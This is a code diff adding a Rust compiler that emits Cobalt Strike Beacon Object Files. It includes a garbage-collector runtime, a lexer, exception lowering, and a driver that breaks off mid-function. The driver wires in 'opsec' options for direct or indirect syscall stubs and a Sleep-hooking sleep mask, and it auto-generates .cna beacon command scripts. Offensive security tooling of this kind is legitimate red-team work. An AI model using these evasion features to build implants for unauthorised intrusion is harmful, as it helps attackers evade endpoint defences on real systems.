--- /dev/null +++ b/src/gc.rs @@ -0,0 +1,295 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; +use crate::macros::GC_ALLOC_FN; + +pub const HEAP_BASE: &str = "__gc_heap"; +pub const HEAP_NEXT: &str = "__gc_next"; +pub const HEAP_END: &str = "__gc_end"; +pub const FREELIST: &str = "__gc_freelist"; +pub const STACK_TOP: &str = "__gc_stack_top"; + +/// Heap size in bytes. Embedded in the binary regardless of use. +pub const DEFAULT_HEAP_BYTES: usize = 4 * 1024; + +// Header flag bits (low 3 bits of the size word). +const FLAG_MARK: i8 = 0b001; +const FLAG_FREE: i8 = 0b010; + +// and r, -2 clears bit 0. free is never cleared in isolation - sweep +// rewrites the header wholesale. +const CLEAR_MARK_MASK: i8 = !FLAG_MARK; + +pub fn emit_runtime(enc: &mut Encoder) { + enc.add_bss(HEAP_NEXT, 8); // bump cursor + enc.add_bss(HEAP_END, 8); // bump limit (heap + SIZE) + enc.add_bss(FREELIST, 8); // head of free list (or 0) + enc.add_bss(STACK_TOP, 8); // captured rsp from main + enc.add_bss(HEAP_BASE, DEFAULT_HEAP_BYTES); + + emit_init(enc); + emit_alloc(enc); + emit_try_alloc(enc); + emit_collect(enc); + emit_mark_range(enc); +} + +// __gc_init: called once from main's prologue. Sets heap bounds and +// clears the freelist. __gc_stack_top is captured separately in main. +fn emit_init(enc: &mut Encoder) { + enc.place_code_label("__gc_init"); + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + enc.mov_data_r64(HEAP_NEXT, Reg64::Rax); + enc.add_r64_imm32(Reg64::Rax, DEFAULT_HEAP_BYTES as i32); + enc.mov_data_r64(HEAP_END, Reg64::Rax); + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + enc.mov_data_r64(FREELIST, Reg64::Rax); + enc.ret(); +} + +// __gc_alloc: public entry. Round + header, try, collect-and-retry on +// miss, 0 on OOM. +fn emit_alloc(enc: &mut Encoder) { + enc.place_code_label(GC_ALLOC_FN); + + // rcx += 15 (round + header). add r, imm8 (4 bytes). + enc.add_r64_imm32(Reg64::Rcx, 15); + // rcx &= -8. + enc.and_r64_imm8(Reg64::Rcx, -8); + + enc.call_label("__gc_try_alloc"); + enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + enc.jcc_label(Cond::Nz, "__gc_alloc_done"); + + // Collect-and-retry. Stack rcx because every scratch register is + // clobbered by the collector. Push/pop runs only on the failure + // path; success returns earlier with balanced stack. + enc.push_r64(Reg64::Rcx); + enc.call_label("__gc_collect"); + enc.pop_r64(Reg64::Rcx); + enc.call_label("__gc_try_alloc"); + + enc.place_code_label("__gc_alloc_done"); + enc.ret(); +} + +// __gc_try_alloc: first-fit over the freelist, fall through to bump, +// fall through to OOM. Caller passes rounded total (header included) +// in rcx. Returns user pointer (header+8) in rax, or 0. +fn emit_try_alloc(enc: &mut Encoder) { + enc.place_code_label("__gc_try_alloc"); + + // rax = freelist head; rdx = NULL (prev). + enc.mov_r64_data(Reg64::Rax, FREELIST); + enc.xor_r64_r64(Reg64::Rdx, Reg64::Rdx); + + enc.place_code_label("__gc_fl_loop"); + enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + enc.jcc_label(Cond::Z, "__gc_try_bump"); + + // r8 = header at [rax], r8 = size (flags masked off). + enc.mov_r64_r64disp(Reg64::R8, Reg64::Rax, 0); + enc.and_r64_imm8(Reg64::R8, -8); + // Need at least rcx bytes? Unsigned compare. + enc.cmp_r64_r64(Reg64::R8, Reg64::Rcx); + enc.jcc_label(Cond::B, "__gc_fl_next"); + + // Big enough. Unlink from free list. r9 = next-free pointer. + enc.mov_r64_r64disp(Reg64::R9, Reg64::Rax, 8); + enc.test_r64_r64(Reg64::Rdx, Reg64::Rdx); + enc.jcc_label(Cond::Z, "__gc_fl_head"); + enc.mov_r64disp_r64(Reg64::Rdx, 8, Reg64::R9); + enc.jmp_label("__gc_fl_use"); + enc.place_code_label("__gc_fl_head"); + enc.mov_data_r64(FREELIST, Reg64::R9); + + enc.place_code_label("__gc_fl_use"); + // Header = original block size, flag bits cleared. No split on + // partial fit; accepts internal fragmentation for a smaller hot path. + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::R8); + enc.add_r64_imm32(Reg64::Rax, 8); + enc.ret(); + + enc.place_code_label("__gc_fl_next"); + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rax); + enc.mov_r64_r64disp(Reg64::Rax, Reg64::Rax, 8); + enc.jmp_label("__gc_fl_loop"); + + enc.place_code_label("__gc_try_bump"); + enc.mov_r64_data(Reg64::Rax, HEAP_NEXT); + enc.mov_r64_r64(Reg64::R9, Reg64::Rax); + enc.add_r64_r64(Reg64::R9, Reg64::Rcx); + enc.mov_r64_data(Reg64::R8, HEAP_END); + enc.cmp_r64_r64(Reg64::R9, Reg64::R8); + // ja: unsigned strictly above (heap_next + size > end to OOM). + enc.jcc_label(Cond::A, "__gc_oom"); + enc.mov_data_r64(HEAP_NEXT, Reg64::R9); + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.add_r64_imm32(Reg64::Rax, 8); + enc.ret(); + + enc.place_code_label("__gc_oom"); + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + enc.ret(); +} + +fn emit_collect(enc: &mut Encoder) { + enc.place_code_label("__gc_collect"); + + // Save callee-saved registers (Win64 NV set). + enc.push_r64(Reg64::Rbx); + enc.push_r64(Reg64::Rbp); + enc.push_r64(Reg64::Rdi); + enc.push_r64(Reg64::Rsi); + enc.push_r64(Reg64::R12); + enc.push_r64(Reg64::R13); + enc.push_r64(Reg64::R14); + enc.push_r64(Reg64::R15); + + // rax = current block, r8 = heap_next (one-past-last-block) + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + enc.mov_r64_data(Reg64::R8, HEAP_NEXT); + + enc.place_code_label("__gc_clear"); + enc.cmp_r64_r64(Reg64::Rax, Reg64::R8); + enc.jcc_label(Cond::Ae, "__gc_mark_init"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0); + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx); + enc.and_r64_imm8(Reg64::Rdx, -8); // rdx = size + enc.and_r64_imm8(Reg64::Rcx, CLEAR_MARK_MASK); // clear mark + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.add_r64_r64(Reg64::Rax, Reg64::Rdx); + enc.jmp_label("__gc_clear"); + + enc.place_code_label("__gc_mark_init"); + enc.mov_r64_r64(Reg64::Rsi, Reg64::Rsp); + enc.mov_r64_data(Reg64::Rdi, STACK_TOP); + enc.call_label("__gc_mark_range"); + + enc.place_code_label("__gc_transitive"); + enc.xor_r64_r64(Reg64::Rbx, Reg64::Rbx); // change-count + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + + enc.place_code_label("__gc_t_loop"); + enc.mov_r64_data(Reg64::R8, HEAP_NEXT); + enc.cmp_r64_r64(Reg64::Rax, Reg64::R8); + enc.jcc_label(Cond::Ae, "__gc_t_done"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0); // header + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx); + enc.and_r64_imm8(Reg64::Rdx, -8); // rdx = size + // Marked? + enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); + enc.and_r64_imm8(Reg64::R9, FLAG_MARK); + enc.test_r64_r64(Reg64::R9, Reg64::R9); + enc.jcc_label(Cond::Z, "__gc_t_next"); + // Marked: scan payload [rax+8 .. rax+size). + enc.push_r64(Reg64::Rax); + enc.push_r64(Reg64::Rdx); + enc.push_r64(Reg64::Rbx); + enc.mov_r64_r64(Reg64::Rsi, Reg64::Rax); + enc.add_r64_imm32(Reg64::Rsi, 8); + enc.mov_r64_r64(Reg64::Rdi, Reg64::Rax); + enc.add_r64_r64(Reg64::Rdi, Reg64::Rdx); + enc.call_label("__gc_mark_range"); // returns rax = #newly-marked + enc.pop_r64(Reg64::Rbx); + enc.add_r64_r64(Reg64::Rbx, Reg64::Rax); + enc.pop_r64(Reg64::Rdx); + enc.pop_r64(Reg64::Rax); + + enc.place_code_label("__gc_t_next"); + enc.add_r64_r64(Reg64::Rax, Reg64::Rdx); + enc.jmp_label("__gc_t_loop"); + + enc.place_code_label("__gc_t_done"); + enc.test_r64_r64(Reg64::Rbx, Reg64::Rbx); + enc.jcc_label(Cond::Nz, "__gc_transitive"); + + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + enc.xor_r64_r64(Reg64::R11, Reg64::R11); // new freelist head + + enc.place_code_label("__gc_sweep_loop"); + enc.mov_r64_data(Reg64::R8, HEAP_NEXT); + enc.cmp_r64_r64(Reg64::Rax, Reg64::R8); + enc.jcc_label(Cond::Ae, "__gc_sweep_done"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0); + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx); + enc.and_r64_imm8(Reg64::Rdx, -8); + enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); + enc.and_r64_imm8(Reg64::R9, FLAG_MARK); + enc.test_r64_r64(Reg64::R9, Reg64::R9); + enc.jcc_label(Cond::Z, "__gc_sweep_free"); + // Marked: clear mark bit; keep allocated. + enc.and_r64_imm8(Reg64::Rcx, CLEAR_MARK_MASK); + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.jmp_label("__gc_sweep_next"); + + enc.place_code_label("__gc_sweep_free"); + // Unmarked: write size | FREE to header, link onto fresh freelist. + enc.or_r64_imm8(Reg64::Rcx, FLAG_FREE); + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.mov_r64disp_r64(Reg64::Rax, 8, Reg64::R11); + enc.mov_r64_r64(Reg64::R11, Reg64::Rax); + + enc.place_code_label("__gc_sweep_next"); + enc.add_r64_r64(Reg64::Rax, Reg64::Rdx); + enc.jmp_label("__gc_sweep_loop"); + + enc.place_code_label("__gc_sweep_done"); + enc.mov_data_r64(FREELIST, Reg64::R11); + + // Restore saved regs in reverse push order. + enc.pop_r64(Reg64::R15); + enc.pop_r64(Reg64::R14); + enc.pop_r64(Reg64::R13); + enc.pop_r64(Reg64::R12); + enc.pop_r64(Reg64::Rsi); + enc.pop_r64(Reg64::Rdi); + enc.pop_r64(Reg64::Rbp); + enc.pop_r64(Reg64::Rbx); + enc.ret(); +} + +fn emit_mark_range(enc: &mut Encoder) { + enc.place_code_label("__gc_mark_range"); + + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); // counter + // r10 = first valid user pointer (heap_base + 8) + enc.lea_r64_data(Reg64::R10, HEAP_BASE); + enc.add_r64_imm32(Reg64::R10, 8); + // r11 = upper bound (heap_next) + enc.mov_r64_data(Reg64::R11, HEAP_NEXT); + + enc.place_code_label("__gc_mr_loop"); + enc.cmp_r64_r64(Reg64::Rsi, Reg64::Rdi); + enc.jcc_label(Cond::Ae, "__gc_mr_done"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rsi, 0); // potential ptr + + // In range? + enc.cmp_r64_r64(Reg64::Rcx, Reg64::R10); + enc.jcc_label(Cond::B, "__gc_mr_next"); + enc.cmp_r64_r64(Reg64::Rcx, Reg64::R11); + enc.jcc_label(Cond::Ae, "__gc_mr_next"); + // Aligned? + enc.mov_r64_r64(Reg64::R8, Reg64::Rcx); + enc.and_r64_imm8(Reg64::R8, 7); + enc.test_r64_r64(Reg64::R8, Reg64::R8); + enc.jcc_label(Cond::Nz, "__gc_mr_next"); + // Treat (rcx - 8) as the block's header location. + enc.add_r64_imm32(Reg64::Rcx, -8); + enc.mov_r64_r64disp(Reg64::R8, Reg64::Rcx, 0); // header + // Already marked? + enc.mov_r64_r64(Reg64::R9, Reg64::R8); + enc.and_r64_imm8(Reg64::R9, FLAG_MARK); + enc.test_r64_r64(Reg64::R9, Reg64::R9); + enc.jcc_label(Cond::Nz, "__gc_mr_next"); + // Set mark bit and bump counter. + enc.or_r64_imm8(Reg64::R8, FLAG_MARK); + enc.mov_r64disp_r64(Reg64::Rcx, 0, Reg64::R8); + enc.add_r64_imm32(Reg64::Rax, 1); + + enc.place_code_label("__gc_mr_next"); + enc.add_r64_imm32(Reg64::Rsi, 8); + enc.jmp_label("__gc_mr_loop"); + + enc.place_code_label("__gc_mr_done"); + enc.ret(); +} diff --git a/src/lexer.rs b/src/lexer.rs new file mode 100644 index 0000000..8dff11e --- /dev/null +++ b/src/lexer.rs @@ -0,0 +1,221 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Source text -> token stream. + +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Tok { + // literals + Ident(String), + Int(i64), + Str(String), + + // keywords + Fn, Var, If, Else, While, Ret, + For, Break, Continue, + Int_, Str_, Wstr_, Bool_, Void_, Char_, True, False, + Try, Catch, Raise, Asm, Macro, + Static, Struct, Enum, UseC, Use, Sizeof, + Extern, + + // operators + Plus, Minus, Star, Slash, Percent, + EqEq, NotEq, Lt, Gt, LtEq, GtEq, + AndAnd, OrOr, Bang, Assign, + Amp, // & address-of OR bitwise AND (single; `&&` is AndAnd) + Pipe, Caret, Tilde, // bitwise | ^ ~ + Shl, Shr, // << >> + PlusPlus, MinusMinus, // ++ / -- (postfix, statement-only) + PlusEq, MinusEq, StarEq, SlashEq, PercentEq, // += -= *= /= %= compound assigns + AmpEq, PipeEq, CaretEq, ShlEq, ShrEq, // &= |= ^= <<= >>= bitwise compounds + + // punctuation + LParen, RParen, LBrace, RBrace, LBrack, RBrack, + Comma, Semi, Colon, Dot, Arrow, + + Eof, +} + +#[derive(Debug, Clone)] +pub struct Token { + pub kind: Tok, + pub line: u32, + pub col: u32, +} + +pub fn tokenize(src: &str) -> Result, String> { + let mut out = Vec::new(); + let bytes = src.as_bytes(); + let mut i = 0usize; + let mut line = 1u32; + let mut col = 1u32; + + let bump = |i: &mut usize, line: &mut u32, col: &mut u32, n: usize, bytes: &[u8]| { + for _ in 0..n { + if *i >= bytes.len() { break; } + if bytes[*i] == b'\n' { *line += 1; *col = 1; } else { *col += 1; } + *i += 1; + } + }; + + while i < bytes.len() { + let c = bytes[i]; + + // whitespace + if (c as char).is_ascii_whitespace() { + bump(&mut i, &mut line, &mut col, 1, bytes); + continue; + } + // line comment + if c == b'/' && i + 1 < bytes.len() && bytes[i+1] == b'/' { + while i < bytes.len() && bytes[i] != b'\n' { i += 1; } + continue; + } + // block comment + if c == b'/' && i + 1 < bytes.len() && bytes[i+1] == b'*' { + bump(&mut i, &mut line, &mut col, 2, bytes); + while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i+1] == b'/') { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + if i + 1 < bytes.len() { bump(&mut i, &mut line, &mut col, 2, bytes); } + continue; + } + + let sl = line; let sc = col; + + // identifier / keyword + if (c as char).is_ascii_alphabetic() || c == b'_' { + let start = i; + while i < bytes.len() && ((bytes[i] as char).is_ascii_alphanumeric() || bytes[i] == b'_') { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + let id = std::str::from_utf8(&bytes[start..i]).unwrap().to_string(); + let kind = match id.as_str() { + "fn" => Tok::Fn, "var" => Tok::Var, "if" => Tok::If, "else" => Tok::Else, + "while" => Tok::While, "ret" => Tok::Ret, + "for" => Tok::For, "break" => Tok::Break, "continue" => Tok::Continue, + "int" => Tok::Int_, "str" => Tok::Str_, "wstr" => Tok::Wstr_, + "bool" => Tok::Bool_, + "void" => Tok::Void_, "char" => Tok::Char_, + "true" => Tok::True, "false" => Tok::False, + "try" => Tok::Try, "catch" => Tok::Catch, "raise" => Tok::Raise, + "asm" => Tok::Asm, "macro" => Tok::Macro, + "static" => Tok::Static, "struct" => Tok::Struct, + "enum" => Tok::Enum, + "use_c" => Tok::UseC, + "use" => Tok::Use, + "extern" => Tok::Extern, + "sizeof" => Tok::Sizeof, + _ => Tok::Ident(id), + }; + out.push(Token { kind, line: sl, col: sc }); + continue; + } + + // integer + if (c as char).is_ascii_digit() { + let start = i; + // hex literal 0x.. + if c == b'0' && i + 1 < bytes.len() && (bytes[i+1] == b'x' || bytes[i+1] == b'X') { + bump(&mut i, &mut line, &mut col, 2, bytes); + let hex_start = i; + while i < bytes.len() && (bytes[i] as char).is_ascii_hexdigit() { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + if hex_start == i { + return Err(format!("empty hex literal at {sl}:{sc}")); + } + let raw = std::str::from_utf8(&bytes[hex_start..i]).unwrap(); + // Use u64 parse then cast - allows full 64-bit range. + let v = u64::from_str_radix(raw, 16).map_err(|e| e.to_string())? as i64; + out.push(Token { kind: Tok::Int(v), line: sl, col: sc }); + continue; + } + while i < bytes.len() && (bytes[i] as char).is_ascii_digit() { + bump(&mut i, &mut line, &mut col, 1, bytes); + } + let raw = std::str::from_utf8(&bytes[start..i]).unwrap(); + let v: i64 = raw.parse().map_err(|e: std::num::ParseIntError| e.to_string())?; + out.push(Token { kind: Tok::Int(v), line: sl, col: sc }); + continue; + } + + // string + if c == b'"' { + bump(&mut i, &mut line, &mut col, 1, bytes); + let mut s = String::new(); + while i < bytes.len() && bytes[i] != b'"' { + let ch = bytes[i]; + if ch == b'\\' && i + 1 < bytes.len() { + bump(&mut i, &mut line, &mut col, 1, bytes); + let esc = bytes[i]; + let mapped = match esc { + b'n' => '\n', b't' => '\t', b'r' => '\r', + b'0' => '\0', b'\\' => '\\', b'"' => '"', + _ => esc as char, + }; + s.push(mapped); + bump(&mut i, &mut line, &mut col, 1, bytes); + } else { + s.push(ch as char); + bump(&mut i, &mut line, &mut col, 1, bytes); + } + } + if i >= bytes.len() { return Err(format!("unterminated string at {sl}:{sc}")); } + bump(&mut i, &mut line, &mut col, 1, bytes); + out.push(Token { kind: Tok::Str(s), line: sl, col: sc }); + continue; + } + + // symbols + let two = |a: u8, b: u8| -> bool { + i + 1 < bytes.len() && bytes[i] == a && bytes[i+1] == b + }; + let three = |a: u8, b: u8, c2: u8| -> bool { + i + 2 < bytes.len() && bytes[i] == a && bytes[i+1] == b && bytes[i+2] == c2 + }; + // Match longer sequences first: <<= before << before <= before <. + let (kind, len) = if three(b'<', b'<', b'=') { (Tok::ShlEq, 3) } + else if three(b'>', b'>', b'=') { (Tok::ShrEq, 3) } + else if two(b'=', b'=') { (Tok::EqEq, 2) } + else if two(b'!', b'=') { (Tok::NotEq, 2) } + else if two(b'<', b'<') { (Tok::Shl, 2) } + else if two(b'>', b'>') { (Tok::Shr, 2) } + else if two(b'<', b'=') { (Tok::LtEq, 2) } + else if two(b'>', b'=') { (Tok::GtEq, 2) } + else if two(b'&', b'&') { (Tok::AndAnd, 2) } + else if two(b'|', b'|') { (Tok::OrOr, 2) } + else if two(b'-', b'>') { (Tok::Arrow, 2) } + // Postfix increment / decrement and compound assigns. ++ + // and += both share a + prefix; match longer first. + else if two(b'+', b'+') { (Tok::PlusPlus, 2) } + else if two(b'-', b'-') { (Tok::MinusMinus, 2) } + else if two(b'+', b'=') { (Tok::PlusEq, 2) } + else if two(b'-', b'=') { (Tok::MinusEq, 2) } + else if two(b'*', b'=') { (Tok::StarEq, 2) } + else if two(b'/', b'=') { (Tok::SlashEq, 2) } + else if two(b'%', b'=') { (Tok::PercentEq, 2) } + else if two(b'&', b'=') { (Tok::AmpEq, 2) } + else if two(b'|', b'=') { (Tok::PipeEq, 2) } + else if two(b'^', b'=') { (Tok::CaretEq, 2) } + else { + let k = match c { + b'+' => Tok::Plus, b'-' => Tok::Minus, b'*' => Tok::Star, + b'/' => Tok::Slash, b'%' => Tok::Percent, + b'<' => Tok::Lt, b'>' => Tok::Gt, + b'!' => Tok::Bang, b'=' => Tok::Assign, + b'&' => Tok::Amp, + b'|' => Tok::Pipe, b'^' => Tok::Caret, b'~' => Tok::Tilde, + b'(' => Tok::LParen, b')' => Tok::RParen, + b'{' => Tok::LBrace, b'}' => Tok::RBrace, + b'[' => Tok::LBrack, b']' => Tok::RBrack, + b',' => Tok::Comma, b';' => Tok::Semi, + b':' => Tok::Colon, b'.' => Tok::Dot, + _ => return Err(format!("unexpected char '{}' at {sl}:{sc}", c as char)), + }; + (k, 1) + }; + bump(&mut i, &mut line, &mut col, len, bytes); + out.push(Token { kind, line: sl, col: sc }); + } + out.push(Token { kind: Tok::Eof, line, col }); + Ok(out) +} diff --git a/src/macros.rs b/src/macros.rs new file mode 100644 index 0000000..58e516c --- /dev/null +++ b/src/macros.rs @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Lowering for high-level constructs (try/catch, mem.alloc). + +use crate::encoder::{Cond, Encoder, Reg64}; + +pub const HANDLER_PC: &str = "__handler_pc"; +pub const HANDLER_RSP: &str = "__handler_rsp"; +pub const HANDLER_RBP: &str = "__handler_rbp"; + +pub fn ensure_handler_slots(enc: &mut Encoder) { + if !enc.data_has(HANDLER_PC) { + enc.add_bss(HANDLER_PC, 8); + enc.add_bss(HANDLER_RSP, 8); + enc.add_bss(HANDLER_RBP, 8); + } +} + +/// Save (handler_pc, rsp, rbp) before the try body. +pub fn emit_try_prologue(enc: &mut Encoder, handler_label: &str) { + ensure_handler_slots(enc); + enc.lea_r64_code(Reg64::Rax, handler_label); + enc.mov_data_r64(HANDLER_PC, Reg64::Rax); + enc.mov_data_r64(HANDLER_RSP, Reg64::Rsp); + enc.mov_data_r64(HANDLER_RBP, Reg64::Rbp); +} + +/// Clear handler PC after the body completes without raising. +pub fn emit_try_epilogue(enc: &mut Encoder) { + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + enc.mov_data_r64(HANDLER_PC, Reg64::Rax); +} + +pub fn emit_raise(enc: &mut Encoder, fail_label: &str) { + ensure_handler_slots(enc); + enc.mov_r64_data(Reg64::Rcx, HANDLER_PC); + enc.test_r64_r64(Reg64::Rcx, Reg64::Rcx); + enc.jcc_label(Cond::Z, fail_label); + enc.mov_r64_data(Reg64::Rsp, HANDLER_RSP); + enc.mov_r64_data(Reg64::Rbp, HANDLER_RBP); + enc.jmp_r64(Reg64::Rcx); + enc.place_code_label(fail_label); + enc.mov_r64_imm64(Reg64::Rax, 0xFF); + enc.ret(); +} + +// mem.alloc -> call __gc_alloc. Argument is already in rcx. +pub const GC_ALLOC_FN: &str = "__gc_alloc"; + +pub fn emit_gc_alloc_call(enc: &mut Encoder) { + enc.call_label(GC_ALLOC_FN); +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..4237fb2 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,880 @@ + +use std::env; +use std::fs; +use std::io::Write; +use std::process::ExitCode; + +mod ast; +mod asm; +mod cimport; +mod codegen; +mod coff; +mod dce; +mod encoder; +mod gc; +mod lexer; +mod macros; +mod parser; +pub mod polymorphism; +mod resolver; +mod shared; +mod veh; +mod typecheck; + +const SRC_EXT: &str = ".etpy"; + +fn compile( + path: &str, + gc_mode: codegen::GcMode, + kind: codegen::BuildKind, + opsec: polymorphism::OpsecConfig, +) -> Result { + if !path.ends_with(SRC_EXT) { + return Err(format!( + "input file `{path}` does not end in `{SRC_EXT}` - \ + did you mean the source, not the compiled output?" + )); + } + let src = fs::read_to_string(path).map_err(|e| format!("read {path}: {e}"))?; + let tokens = lexer::tokenize(&src)?; + let mut prog = parser::Parser::new(tokens.clone(), path).parse_program()?; + + let mut auto_includes: Vec<(&str, String)> = Vec::new(); + + let syscall_stub_subpath = if opsec.indirect_syscalls { + Some(("opsec/indirect_syscall.etpy", "indirect_syscalls")) + } else if opsec.direct_syscalls { + Some(("opsec/direct_syscall.etpy", "direct_syscalls")) + } else { + None + }; + if let Some((subpath, label)) = syscall_stub_subpath { + let has_user_ntcall = prog.functions.iter().any(|f| { + f.attrs.iter().any(|a| + a.kind == "Override" && a.arg.as_deref() == Some("NtCall")) + }); + if !has_user_ntcall { + let resolved = resolve_stdlib_subpath(path, subpath) + .ok_or_else(|| format!( + "--opsec={label}: couldn't locate `stdlib/{subpath}` \ + walking up from the source. Build from inside \ + the workspace, or add a manual `use \"...\";` \ + to your source." + ))?; + auto_includes.push((label, resolved)); + } + } + + if let Some(subpath) = opsec.sleep_mask.stdlib_subpath() { + let has_user_sleep_hook = prog.functions.iter().any(|f| { + f.attrs.iter().any(|a| + a.kind == "Hook" && a.arg.as_deref() == Some("KERNEL32$Sleep")) + }); + if !has_user_sleep_hook { + let label = "sleep_mask"; + let resolved = resolve_stdlib_subpath(path, subpath) + .ok_or_else(|| format!( + "--opsec=sleep_mask={}: couldn't locate \ + `stdlib/{subpath}` walking up from the source. \ + Build from inside the workspace, or write the \ + hook by hand and drop the flag.", + opsec.sleep_mask.name() + ))?; + auto_includes.push((label, resolved)); + } + } + + if !auto_includes.is_empty() { + let mut combined: Vec = Vec::new(); + for (_, resolved) in &auto_includes { + combined.extend(synthetic_use_tokens(resolved)); + } + let mut body = tokens.clone(); + let _ = body.pop(); // drop trailing EOF + combined.extend(body); + combined.push(lexer::Token { + kind: lexer::Tok::Eof, + line: 1, col: 1, + }); + prog = parser::Parser::new(combined, path).parse_program()?; + } + + auto_include_win32_constants(&mut prog, path)?; + + synthesize_bof_arg_parsers(&mut prog); + + resolve_enum_accesses(&mut prog)?; + + if let Err(errs) = typecheck::check_with_kind(&prog, kind) { + return Err(errs.join("\n\n")); + } + dce::eliminate_with_kind(&mut prog, kind); + + let cna_script = build_cna_script(&prog, path); + + let mut blob = codegen::CodeGen::with_opsec(gc_mode, kind, opsec).generate_with_debug(&prog)?; + blob.cna_script = cna_script; + Ok(blob) +} + +fn build_cna_script(prog: &ast::Program, source_path: &str) -> Option { + // Find [BofCommand] on go. + let go_fn = prog.functions.iter().find(|f| f.name == "go" && !f.is_extern)?; + let cmd_attr = go_fn.attrs.iter().find(|a| a.kind == "BofCommand")?; + let cmd_name = cmd_attr.arg.clone()?; + + // Find the [BofArgs] struct (zero or one). If present, derive + // the bof_pack format string and parameter list. + let bof_args = prog.structs.iter() + .find(|s| s.attrs.iter().any(|a| a.kind == "BofArgs")); + + let (pack_spec, sleep_param_names, usage_args) = if let Some(s) = bof_args { + let mut spec = String::new(); + let mut names = Vec::new(); + let mut usage = Vec::new(); + for (fname, fty) in &s.fields { + let c = match fty.as_str() { + "int" | "i32" | "u32" => 'i', + "i16" | "u16" => 's', + "str" | "char*" | "u8*" => 'z', + _ => { + eprintln!( + "warning: [BofCommand] cna gen: field `{fname}: {fty}` \ + in struct `{}` has no bof_pack mapping. The generated \ + .cna will skip this argument; edit it by hand if you \ + need the field.", s.name); + continue; + } + }; + spec.push(c); + names.push(format!("${fname}")); + usage.push(format!("<{fname}>")); + } + (spec, names, usage) + } else { + (String::new(), Vec::new(), Vec::new()) + }; + + // Cobalt Strike convention: BOFs ship as name.x64.o so the + // operator-side script_resource lookup matches. + let obj_basename = std::path::Path::new(source_path) + .file_stem() + .and_then(|s| s.to_str()) + .map(|s| format!("{s}.x64.o")) + .unwrap_or_else(|| format!("{cmd_name}.x64.o")); + + let expected_args = sleep_param_names.len(); + let usage_str = if usage_args.is_empty() { String::new() } else { format!(" {}", usage_args.join(" ")) }; + let pack_call = if pack_spec.is_empty() { + format!("bof_inline_execute($bid, script_resource(\"{obj_basename}\"), \"{cmd_name}\", \"\");") + } else { + format!( + "$args = bof_pack($bid, \"{pack_spec}\", {});\n\ + \tbof_inline_execute($bid, script_resource(\"{obj_basename}\"), \"{cmd_name}\", $args);", + sleep_param_names.join(", ") + ) + }; + let destructure = if sleep_param_names.is_empty() { + format!("local('$bid');\n\t$bid = $1;") + } else { + format!( + "local('$bid {}');\n\tif (size(@_) != {}) {{ berror($1, \"usage: {cmd_name}{usage_str}\"); return; }}\n\t($bid, {}) = @_;", + sleep_param_names.join(" "), + expected_args + 1, + sleep_param_names.join(", ") + ) + }; + + Some(format!( + "# {cmd_name}.cna\n\ + # Auto-generated by entc from {source_path}.\n\ + # Do not edit by hand; regenerate by rebuilding the .obj.\n\n\ + alias {cmd_name} {{\n\ + \t{destructure}\n\ + \t{pack_call}\n\ + }}\n\n\ + beacon_command_register(\n\ + \t\"{cmd_name}\",\n\ + \t\"Auto-generated BOF command from {source_path}\",\n\ + \t\"Usage: {cmd_name}{usage_str}\");\n" + )) +} + +fn resolve_enum_accesses(prog: &mut ast::Program) -> Result<(), String> { + use ast::{Expr, Stmt}; + + if prog.enums.is_empty() { return Ok(()); } + + let mut variants: std::collections::HashMap<(String, String), i64> = + std::collections::HashMap::new(); + let mut enum_names: std::collections::HashSet = + std::collections::HashSet::new(); + for e in &prog.enums { + enum_names.insert(e.name.clone()); + for (vname, value) in &e.variants { + variants.insert((e.name.clone(), vname.clone()), *value); + } + } + + fn rewrite_expr( + e: &mut Expr, + variants: &std::collections::HashMap<(String, String), i64>, + enums: &std::collections::HashSet, + ) -> Result<(), String> { + match e { + Expr::Field { base, field } => { + // Recurse first so nested expressions get rewritten. + rewrite_expr(base, variants, enums)?; + if let Expr::Var(name) = base.as_ref() { + if enums.contains(name) { + let key = (name.clone(), field.clone()); + let value = variants.get(&key).ok_or_else(|| format!( + "enum `{name}` has no variant `{field}`" + ))?; + *e = Expr::Int(*value); + return Ok(()); + } + } + } + Expr::Call { args, .. } => { + for a in args { rewrite_expr(a, variants, enums)?; } + } + Expr::Binary { lhs, rhs, .. } => { + rewrite_expr(lhs, variants, enums)?; + rewrite_expr(rhs, variants, enums)?; + } + Expr::Unary { operand, .. } => rewrite_expr(operand, variants, enums)?, + Expr::Assign { value, .. } => rewrite_expr(value, variants, enums)?, + Expr::FieldAssign { base, value, .. } => { + rewrite_expr(base, variants, enums)?; + rewrite_expr(value, variants, enums)?; + } + Expr::DerefAssign { ptr, value } => { + rewrite_expr(ptr, variants, enums)?; + rewrite_expr(value, variants, enums)?; + } + Expr::Index { 